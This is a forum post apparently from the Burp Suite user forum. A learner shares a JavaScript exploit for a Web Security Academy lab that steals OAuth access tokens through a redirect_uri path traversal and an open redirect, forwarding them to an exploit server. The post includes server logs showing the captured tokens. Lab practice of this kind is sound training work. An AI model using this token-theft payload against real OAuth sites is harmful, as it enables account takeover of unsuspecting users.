Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Stealing OAuth access tokens via an open redirect

2lfa | Last updated: Jul 28, 2024 11:34AM UTC

I am trying to solve the lab "Stealing OAuth access tokens via an open redirect". This is my exploit: <script> if (!document.location.hash) { window.location = 'https://oauth-MY-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=MY-LAB-CLIENT-ID&redirect_uri=https://MY-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://MY-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) } </script> If I visit the exploit's page, I get redirected to: https://exploit-0a270092039d4bdd81b133d6011e00a6.exploit-server.net/?access_token=zGbeo5lxCmK2YjU1c4qm5x1QP80XWqeeHozcrxKZ0_B&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email So I know it works, I also can confirm by visiting the exploit's log page: 146.70.184.22 2024-07-28 11:25:52 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:25:52 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:26:57 +0000 "POST / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:26:57 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:26:59 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:26:59 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:00 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:00 +0000 "GET /?access_token=bu3BivwREdgKcBM1NpMaXWq-VwW-D9coPECM1FIFbTB&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:00 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:03 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:03 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 10.0.3.75 2024-07-28 11:27:04 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 146.70.184.22 2024-07-28 11:27:04 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 146.70.184.22 2024-07-28 11:27:04 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" But as you can see on the logs, when I deliver the exploit to the victim, he doesn't get redirected. Moreover, after the first visit, I cannot make him visit the exploit page anymore bu clicking on "Deliver exploit to victim" (it seems to work only one time, then I don't see him visiting the page anymore on the logs). I tried the manoeuvre on Firefox 128.0, Chrome 126.0.6478.183 and Burp Professional version 126.0.6478.183 Browser, and always got the same result. Is it a bug? How do I solve?

2lfa | Last updated: Jul 28, 2024 11:39AM UTC